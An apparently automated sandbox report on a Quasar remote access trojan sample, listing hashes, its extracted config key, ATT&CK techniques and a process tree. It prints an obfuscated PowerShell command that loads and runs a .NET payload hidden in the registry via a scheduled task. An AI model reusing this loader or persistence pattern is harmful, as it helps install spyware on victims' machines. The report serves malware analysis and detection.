quasar | 24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999

Analysis

max time kernel
150s
max time network
121s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
28/01/2025, 05:48

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General

Target

24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe
Size

5.4MB
MD5

dd2c5095b1d6590197ed2432837655f0
SHA1

d287bb38f83941199fa66d7420b6f8cff2257a16
SHA256

24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999
SHA512

24d7f1b61f07060f7723a306d46b1d82ca1b54a93770bfb783b83f613edb9a412f929a40c396fda5b6b3402ca37531f53ce1d42524623a6ce1cfee61e726e283
SSDEEP

98304:zHTFcsxxcsx30XgnNvfSDRyhoVi8rhh+xX/r:zHOgn0DRy2oR/r

Score

10^/10

quasar discovery execution spyware trojan

Malware Config

Extracted

Family

quasar

Attributes

encryption_key
329720B689F7B7703EAAA9546BE3BAFE737B0649
reconnect_delay
3000

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral1/memory/1580-1-0x0000000001230000-0x0000000001798000-memory.dmp	family_quasar

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 2664 created 432	2664	powershell.EXE	5

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2664	powershell.EXE

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2968 set thread context of 2616	2968	powershell.exe	34
PID 2664 set thread context of 1604	2664	powershell.EXE	38

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
884	PING.EXE

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.EXE
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = b01959464871db01	powershell.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
884	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1580	24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe
1580	24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe
2664	powershell.EXE
2664	powershell.EXE
1604	dllhost.exe
1604	dllhost.exe
1604	dllhost.exe
1604	dllhost.exe
1604	dllhost.exe
1604	dllhost.exe
1604	dllhost.exe
1604	dllhost.exe
1604	dllhost.exe
1604	dllhost.exe
1604	dllhost.exe
1604	dllhost.exe
1604	dllhost.exe
1604	dllhost.exe
1604	dllhost.exe
1604	dllhost.exe
1604	dllhost.exe
1604	dllhost.exe
1604	dllhost.exe
1604	dllhost.exe
1604	dllhost.exe
1604	dllhost.exe
1604	dllhost.exe
1604	dllhost.exe
1604	dllhost.exe
1604	dllhost.exe
1604	dllhost.exe
1604	dllhost.exe
1604	dllhost.exe
1604	dllhost.exe
1604	dllhost.exe
1604	dllhost.exe
1604	dllhost.exe
1604	dllhost.exe
1604	dllhost.exe
1604	dllhost.exe
1604	dllhost.exe
1604	dllhost.exe
1604	dllhost.exe
1604	dllhost.exe
1604	dllhost.exe
1604	dllhost.exe
1604	dllhost.exe
1604	dllhost.exe
1604	dllhost.exe
1604	dllhost.exe
1604	dllhost.exe
1604	dllhost.exe
1604	dllhost.exe
1604	dllhost.exe
1604	dllhost.exe
1604	dllhost.exe
1604	dllhost.exe
1604	dllhost.exe
1604	dllhost.exe
1604	dllhost.exe
1604	dllhost.exe
1604	dllhost.exe
1604	dllhost.exe
1604	dllhost.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1580	24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe
Token: SeDebugPrivilege	2664	powershell.EXE
Token: SeDebugPrivilege	2664	powershell.EXE
Token: SeDebugPrivilege	1604	dllhost.exe

Suspicious use of WriteProcessMemory 41 IoCs

description	pid	Process	procid_target
PID 1580 wrote to memory of 2908	1580	24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe	30
PID 1580 wrote to memory of 2908	1580	24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe	30
PID 1580 wrote to memory of 2908	1580	24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe	30
PID 1580 wrote to memory of 2968	1580	24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe	32
PID 1580 wrote to memory of 2968	1580	24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe	32
PID 1580 wrote to memory of 2968	1580	24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe	32
PID 1580 wrote to memory of 2968	1580	24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe	32
PID 1580 wrote to memory of 2968	1580	24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe	32
PID 2968 wrote to memory of 2616	2968	powershell.exe	34
PID 2968 wrote to memory of 2616	2968	powershell.exe	34
PID 2968 wrote to memory of 2616	2968	powershell.exe	34
PID 2968 wrote to memory of 2616	2968	powershell.exe	34
PID 2968 wrote to memory of 2616	2968	powershell.exe	34
PID 2968 wrote to memory of 2616	2968	powershell.exe	34
PID 2968 wrote to memory of 2616	2968	powershell.exe	34
PID 2968 wrote to memory of 2616	2968	powershell.exe	34
PID 2968 wrote to memory of 2616	2968	powershell.exe	34
PID 2968 wrote to memory of 2616	2968	powershell.exe	34
PID 2584 wrote to memory of 2664	2584	taskeng.exe	36
PID 2584 wrote to memory of 2664	2584	taskeng.exe	36
PID 2584 wrote to memory of 2664	2584	taskeng.exe	36
PID 2664 wrote to memory of 1604	2664	powershell.EXE	38
PID 2664 wrote to memory of 1604	2664	powershell.EXE	38
PID 2664 wrote to memory of 1604	2664	powershell.EXE	38
PID 2664 wrote to memory of 1604	2664	powershell.EXE	38
PID 2664 wrote to memory of 1604	2664	powershell.EXE	38
PID 2664 wrote to memory of 1604	2664	powershell.EXE	38
PID 2664 wrote to memory of 1604	2664	powershell.EXE	38
PID 2664 wrote to memory of 1604	2664	powershell.EXE	38
PID 2664 wrote to memory of 1604	2664	powershell.EXE	38
PID 1604 wrote to memory of 432	1604	dllhost.exe	5
PID 1604 wrote to memory of 476	1604	dllhost.exe	6
PID 1580 wrote to memory of 1724	1580	24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe	39
PID 1580 wrote to memory of 1724	1580	24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe	39
PID 1580 wrote to memory of 1724	1580	24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe	39
PID 1724 wrote to memory of 916	1724	cmd.exe	41
PID 1724 wrote to memory of 916	1724	cmd.exe	41
PID 1724 wrote to memory of 916	1724	cmd.exe	41
PID 1724 wrote to memory of 884	1724	cmd.exe	42
PID 1724 wrote to memory of 884	1724	cmd.exe	42
PID 1724 wrote to memory of 884	1724	cmd.exe	42

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:432
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{d64a87c8-d3a5-47e2-a772-a2e09b1855bc}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1604

C:\Windows\system32\services.exe
C:\Windows\system32\services.exe
1⤵
PID:476

C:\Users\Admin\AppData\Local\Temp\24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe
"C:\Users\Admin\AppData\Local\Temp\24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1580
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /Delete /TN "$nya-Loli_1" /F
  2⤵
  PID:2908
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2968
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2616
- C:\Windows\system32\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\G9T1ti74EuwA.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1724
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:916
- - C:\Windows\system32\PING.EXE
    ping -n 10 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:884

C:\Windows\system32\taskeng.exe
taskeng.exe {42A62481-6770-41EA-960C-F5A894FF4C1C} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Suspicious use of WriteProcessMemory
PID:2584
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'OF'+[Char](84)+''+[Char](87)+'A'+'R'+''+[Char](69)+'').GetValue('$'+'n'+''+'y'+''+[Char](97)+''+[Char](45)+''+'s'+''+[Char](116)+'a'+[Char](103)+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2664

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\G9T1ti74EuwA.bat

Filesize
166B

MD5
6b1c895d21f29a065dfaae4b74e2686c

SHA1
773e44d04792c3d82ab80ba748773e6290504a1f

SHA256
e3e9d93b29dffc7699242fd5bcd0065a22203e96a06c9f6f62349b700a04af24

SHA512
05de89da0e7c07ea89761b32ecc327d63d672fe4229bb046b22a304e717eae16d1626607a7fbaa09fbf50151a4e37cf4e9d64415f86f1519292a7d5992292eb8

Download Submit
memory/432-43-0x0000000000BB0000-0x0000000000BDA000-memory.dmp

Filesize
168KB

Download
memory/432-49-0x00000000373B0000-0x00000000373C0000-memory.dmp

Filesize
64KB

Download
memory/432-65-0x0000000000BB0000-0x0000000000BDA000-memory.dmp

Filesize
168KB

Download
memory/432-66-0x0000000000BB0000-0x0000000000BDA000-memory.dmp

Filesize
168KB

Download
memory/432-67-0x0000000000BB0000-0x0000000000BDA000-memory.dmp

Filesize
168KB

Download
memory/432-36-0x0000000000AF0000-0x0000000000B14000-memory.dmp

Filesize
144KB

Download
memory/432-37-0x0000000000BB0000-0x0000000000BDA000-memory.dmp

Filesize
168KB

Download
memory/432-44-0x0000000000BB0000-0x0000000000BDA000-memory.dmp

Filesize
168KB

Download
memory/432-48-0x000007FEBD650000-0x000007FEBD660000-memory.dmp

Filesize
64KB

Download
memory/432-47-0x0000000000BB0000-0x0000000000BDA000-memory.dmp

Filesize
168KB

Download
memory/432-46-0x0000000000BB0000-0x0000000000BDA000-memory.dmp

Filesize
168KB

Download
memory/432-45-0x0000000000BB0000-0x0000000000BDA000-memory.dmp

Filesize
168KB

Download
memory/432-34-0x0000000000AF0000-0x0000000000B14000-memory.dmp

Filesize
144KB

Download
memory/432-38-0x0000000000BB0000-0x0000000000BDA000-memory.dmp

Filesize
168KB

Download
memory/476-73-0x0000000000200000-0x000000000022A000-memory.dmp

Filesize
168KB

Download
memory/476-79-0x00000000373B0000-0x00000000373C0000-memory.dmp

Filesize
64KB

Download
memory/476-78-0x000007FEBD650000-0x000007FEBD660000-memory.dmp

Filesize
64KB

Download
memory/476-77-0x0000000000200000-0x000000000022A000-memory.dmp

Filesize
168KB

Download
memory/476-76-0x0000000000200000-0x000000000022A000-memory.dmp

Filesize
168KB

Download
memory/476-74-0x0000000000200000-0x000000000022A000-memory.dmp

Filesize
168KB

Download
memory/476-75-0x0000000000200000-0x000000000022A000-memory.dmp

Filesize
168KB

Download
memory/476-68-0x0000000000200000-0x000000000022A000-memory.dmp

Filesize
168KB

Download
memory/1580-81-0x000007FEF5F80000-0x000007FEF696C000-memory.dmp

Filesize
9.9MB

Download
memory/1580-0-0x000007FEF5F83000-0x000007FEF5F84000-memory.dmp

Filesize
4KB

Download
memory/1580-3-0x000007FEF5F80000-0x000007FEF696C000-memory.dmp

Filesize
9.9MB

Download
memory/1580-1-0x0000000001230000-0x0000000001798000-memory.dmp

Filesize
5.4MB

Download
memory/1580-2-0x000007FEF5F80000-0x000007FEF696C000-memory.dmp

Filesize
9.9MB

Download
memory/1604-26-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1604-29-0x0000000077370000-0x0000000077519000-memory.dmp

Filesize
1.7MB

Download
memory/1604-24-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1604-23-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1604-25-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1604-30-0x0000000077250000-0x000000007736F000-memory.dmp

Filesize
1.1MB

Download
memory/1604-28-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1604-31-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2616-14-0x0000000000400000-0x000000000042B000-memory.dmp

Filesize
172KB

Download
memory/2616-11-0x0000000000400000-0x000000000042B000-memory.dmp

Filesize
172KB

Download
memory/2616-7-0x0000000000400000-0x000000000042B000-memory.dmp

Filesize
172KB

Download
memory/2616-8-0x0000000000400000-0x000000000042B000-memory.dmp

Filesize
172KB

Download
memory/2616-9-0x0000000000400000-0x000000000042B000-memory.dmp

Filesize
172KB

Download
memory/2616-10-0x0000000000400000-0x000000000042B000-memory.dmp

Filesize
172KB

Download
memory/2616-12-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

Download
memory/2616-17-0x0000000000400000-0x000000000042B000-memory.dmp

Filesize
172KB

Download
memory/2664-20-0x0000000001420000-0x000000000144A000-memory.dmp

Filesize
168KB

Download
memory/2664-19-0x0000000001120000-0x0000000001128000-memory.dmp

Filesize
32KB

Download
memory/2664-18-0x000000001A030000-0x000000001A312000-memory.dmp

Filesize
2.9MB

Download
memory/2664-22-0x0000000077250000-0x000000007736F000-memory.dmp

Filesize
1.1MB

Download
memory/2664-21-0x0000000077370000-0x0000000077519000-memory.dmp

Filesize
1.7MB

Download
memory/2968-4-0x00000000000C0000-0x00000000000E9000-memory.dmp

Filesize
164KB

Download
memory/2968-6-0x00000000000C0000-0x00000000000E9000-memory.dmp

Filesize
164KB

Download